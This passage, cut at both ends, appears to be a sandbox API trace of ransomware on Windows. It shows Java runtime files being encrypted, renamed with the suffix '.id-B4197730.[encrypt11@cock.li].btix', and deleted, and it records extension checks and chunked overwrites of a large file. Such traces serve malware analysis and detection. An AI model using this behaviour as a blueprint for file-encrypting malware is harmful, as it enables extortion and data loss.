(lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20 [0152.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.403] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0152.403] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.403] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.403] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0152.403] GetLastError () returned 0x0 [0152.403] ReadFile (in: hFile=0x36c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x205e, lpOverlapped=0x0) returned 1 [0152.404] WriteFile (in: hFile=0x33c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x2060, lpOverlapped=0x0) returned 1 [0152.405] ReadFile (in: hFile=0x36c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.405] WriteFile (in: hFile=0x33c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe6, lpOverlapped=0x0) returned 1 [0152.405] SetEndOfFile (hFile=0x33c) returned 1 [0152.405] CloseHandle (hObject=0x33c) returned 1 [0152.406] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.406] SetEndOfFile (hFile=0x36c) returned 1 [0152.406] CloseHandle (hObject=0x36c) returned 1 [0152.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.406] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 1 [0152.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0152.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0152.407] lstrlenW (lpString=".doc") returned 4 [0152.407] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0152.407] lstrlenW (lpString=".docx") returned 5 [0152.407] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0152.407] lstrlenW (lpString=".pdf") returned 4 [0152.407] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0152.407] lstrlenW (lpString=".xls") returned 4 [0152.407] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0152.407] lstrlenW (lpString=".xlsx") returned 5 [0152.407] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0152.407] lstrlenW (lpString=".ppt") returned 4 [0152.407] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0152.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0152.407] lstrlenW (lpString=".zip") returned 4 [0152.407] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0152.407] lstrlenW (lpString=".rar") returned 4 [0152.407] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0152.407] lstrlenW (lpString=".bz2") returned 4 [0152.407] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0152.407] lstrlenW (lpString=".7z") returned 3 [0152.407] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0152.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0152.407] lstrlenW (lpString=".dbf") returned 4 [0152.407] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0152.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0152.407] lstrlenW (lpString=".1cd") returned 4 [0152.407] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0152.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0152.408] lstrlenW (lpString=".jpg") returned 4 [0152.408] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0152.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0152.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0152.408] lstrlenW (lpString=".doc") returned 4 [0152.408] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0152.408] lstrlenW (lpString=".docx") returned 5 [0152.408] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0152.408] lstrlenW (lpString=".pdf") returned 4 [0152.408] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0152.408] lstrlenW (lpString=".xls") returned 4 [0152.408] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0152.408] lstrlenW (lpString=".xlsx") returned 5 [0152.408] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0152.408] lstrlenW (lpString=".ppt") returned 4 [0152.408] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0152.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0152.408] lstrlenW (lpString=".zip") returned 4 [0152.408] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0152.408] lstrlenW (lpString=".rar") returned 4 [0152.408] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0152.408] lstrlenW (lpString=".bz2") returned 4 [0152.408] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0152.408] lstrlenW (lpString=".7z") returned 3 [0152.408] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0152.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0152.408] lstrlenW (lpString=".dbf") returned 4 [0152.408] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0152.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0152.408] lstrlenW (lpString=".1cd") returned 4 [0152.408] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0152.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0152.409] lstrlenW (lpString=".jpg") returned 4 [0152.409] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0152.409] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0152.409] lstrlenW (lpString="jaccess.jar") returned 11 [0152.409] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0152.409] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=44516) returned 1 [0152.409] CloseHandle (hObject=0x36c) returned 1 [0152.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20 [0152.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.409] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0152.409] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.409] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.409] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0152.410] GetLastError () returned 0x0 [0152.410] ReadFile (in: hFile=0x36c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0xade4, lpOverlapped=0x0) returned 1 [0152.411] WriteFile (in: hFile=0x33c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xadf0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xadf0, lpOverlapped=0x0) returned 1 [0152.413] ReadFile (in: hFile=0x36c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.413] WriteFile (in: hFile=0x33c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xea, lpOverlapped=0x0) returned 1 [0152.413] SetEndOfFile (hFile=0x33c) returned 1 [0152.413] CloseHandle (hObject=0x33c) returned 1 [0152.413] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.413] SetEndOfFile (hFile=0x36c) returned 1 [0152.414] CloseHandle (hObject=0x36c) returned 1 [0152.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.414] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 1 [0152.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0152.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0152.415] lstrlenW (lpString=".doc") returned 4 [0152.415] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0152.415] lstrlenW (lpString=".docx") returned 5 [0152.415] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0152.415] lstrlenW (lpString=".pdf") returned 4 [0152.415] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0152.415] lstrlenW (lpString=".xls") returned 4 [0152.415] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0152.415] lstrlenW (lpString=".xlsx") returned 5 [0152.415] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0152.415] lstrlenW (lpString=".ppt") returned 4 [0152.415] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0152.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0152.415] lstrlenW (lpString=".zip") returned 4 [0152.415] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0152.415] lstrlenW (lpString=".rar") returned 4 [0152.415] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0152.415] lstrlenW (lpString=".bz2") returned 4 [0152.415] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0152.415] lstrlenW (lpString=".7z") returned 3 [0152.415] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0152.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0152.415] lstrlenW (lpString=".dbf") returned 4 [0152.415] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0152.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0152.415] lstrlenW (lpString=".1cd") returned 4 [0152.415] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0152.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0152.415] lstrlenW (lpString=".jpg") returned 4 [0152.416] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0152.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0152.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0152.416] lstrlenW (lpString=".doc") returned 4 [0152.416] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0152.416] lstrlenW (lpString=".docx") returned 5 [0152.416] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0152.416] lstrlenW (lpString=".pdf") returned 4 [0152.416] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0152.416] lstrlenW (lpString=".xls") returned 4 [0152.416] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0152.416] lstrlenW (lpString=".xlsx") returned 5 [0152.416] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0152.416] lstrlenW (lpString=".ppt") returned 4 [0152.416] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0152.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0152.416] lstrlenW (lpString=".zip") returned 4 [0152.416] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0152.416] lstrlenW (lpString=".rar") returned 4 [0152.416] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0152.416] lstrlenW (lpString=".bz2") returned 4 [0152.416] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0152.416] lstrlenW (lpString=".7z") returned 3 [0152.416] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0152.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0152.416] lstrlenW (lpString=".dbf") returned 4 [0152.416] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0152.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0152.416] lstrlenW (lpString=".1cd") returned 4 [0152.416] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0152.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0152.416] lstrlenW (lpString=".jpg") returned 4 [0152.416] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0152.417] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0152.417] lstrlenW (lpString="jfxrt.jar") returned 9 [0152.417] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0152.417] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=18246297) returned 1 [0152.417] CloseHandle (hObject=0x36c) returned 1 [0152.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20 [0152.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.417] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0152.418] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0152.418] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fc64 | out: lpNewFilePointer=0x0) returned 1 [0152.418] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fc24 | out: lpNewFilePointer=0x0) returned 1 [0152.418] ReadFile (in: hFile=0x36c, lpBuffer=0x4056058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x365fc30, lpOverlapped=0x0 | out: lpBuffer=0x4056058*, lpNumberOfBytesRead=0x365fc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.430] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x5cce33, lpNewFilePointer=0x0, dwMoveMethod=0x365fc24 | out: lpNewFilePointer=0x0) returned 1 [0152.430] ReadFile (in: hFile=0x36c, lpBuffer=0x4096058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x365fc30, lpOverlapped=0x0 | out: lpBuffer=0x4096058*, lpNumberOfBytesRead=0x365fc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.449] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x365fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.449] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x1126a99, lpNewFilePointer=0x0, dwMoveMethod=0x365fc24 | out: lpNewFilePointer=0x0) returned 1 [0152.449] ReadFile (in: hFile=0x36c, lpBuffer=0x40d6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x365fc30, lpOverlapped=0x0 | out: lpBuffer=0x40d6058*, lpNumberOfBytesRead=0x365fc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.867] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.867] WriteFile (in: hFile=0x36c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x365fca8, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fca8*=0xc00fe, lpOverlapped=0x0) returned 1 [0152.881] SetEndOfFile (hFile=0x36c) returned 1 [0152.881] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40000) returned 0x42adde0 [0152.885] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fc74 | out: lpNewFilePointer=0x0) returned 1 [0152.885] WriteFile (in: hFile=0x36c, lpBuffer=0x42adde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x365fc80, lpOverlapped=0x0 | out: lpBuffer=0x42adde0*, lpNumberOfBytesWritten=0x365fc80*=0x40000, lpOverlapped=0x0) returned 1 [0152.886] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x5cce33, lpNewFilePointer=0x0, dwMoveMethod=0x365fc74 | out: lpNewFilePointer=0x0) returned 1 [0152.886] WriteFile (in: hFile=0x36c, lpBuffer=0x42adde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x365fc80, lpOverlapped=0x0 | out: lpBuffer=0x42adde0*, lpNumberOfBytesWritten=0x365fc80*=0x40000, lpOverlapped=0x0) returned 1 [0152.890] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x1126a99, lpNewFilePointer=0x0, dwMoveMethod=0x365fc74 | out: lpNewFilePointer=0x0) returned 1 [0152.890] WriteFile (in: hFile=0x36c, lpBuffer=0x42adde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x365fc80, lpOverlapped=0x0 | out: lpBuffer=0x42adde0*, lpNumberOfBytesWritten=0x365fc80*=0x40000, lpOverlapped=0x0) returned 1 [0152.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0152.892] CloseHandle (hObject=0x36c) returned 1 [0152.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0152.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0152.892] lstrlenW (lpString=".doc") returned 4 [0152.892] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0152.892] lstrlenW (lpString=".docx") returned 5 [0152.892] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0152.892] lstrlenW (lpString=".pdf") returned 4 [0152.892] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0152.892] lstrlenW (lpString=".xls") returned 4 [0152.892] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0152.893] lstrlenW (lpString=".xlsx") returned 5 [0152.893] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0152.893] lstrlenW (lpString=".ppt") returned 4 [0152.893] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0152.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0152.893] lstrlenW (lpString=".zip") returned 4 [0152.893] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0152.893] lstrlenW (lpString=".rar") returned 4 [0152.893] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0152.893] lstrlenW (lpString=".bz2") returned 4 [0152.893] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0152.893] lstrlenW (lpString=".7z") returned 3 [0152.893] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0152.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0152.893] lstrlenW (lpString=".dbf") returned 4 [0152.893] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0152.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0152.893] lstrlenW (lpString=".1cd") returned 4 [0152.893] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0152.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0152.893] lstrlenW (lpString=".jpg") returned 4 [0152.893] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0152.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0152.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0152.893] lstrlenW (lpString=".doc") returned 4 [0152.893] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0152.893] lstrlenW (lpString=".docx") returned 5 [0152.893] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0152.893] lstrlenW (lpString=".pdf") returned 4 [0152.893] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0152.894] lstrlenW (lpString=".xls") returned 4 [0152.894] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0152.894] lstrlenW (lpString=".xlsx") returned 5 [0152.894] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0152.894] lstrlenW (lpString=".ppt") returned 4 [0152.894] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0152.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0152.894] lstrlenW (lpString=".zip") returned 4 [0152.894] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0152.894] lstrlenW (lpString=".rar") returned 4 [0152.894] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0152.894] lstrlenW (lpString=".bz2") returned 4 [0152.894] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0152.894] lstrlenW (lpString=".7z") returned 3 [0152.894] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0152.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0152.894] lstrlenW (lpString=".dbf") returned 4 [0152.894] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0152.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0152.894] lstrlenW (lpString=".1cd") returned 4 [0152.894] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0152.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0152.894] lstrlenW (lpString=".jpg") returned 4 [0152.894] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0152.894] lstrcmpiW (lpString1=".0_144\\lib\\ext\\meta-index", lpString2=".btix") returned -1 [0152.894] lstrlenW (lpString="meta-index") returned 10 [0152.895] CreateFileW 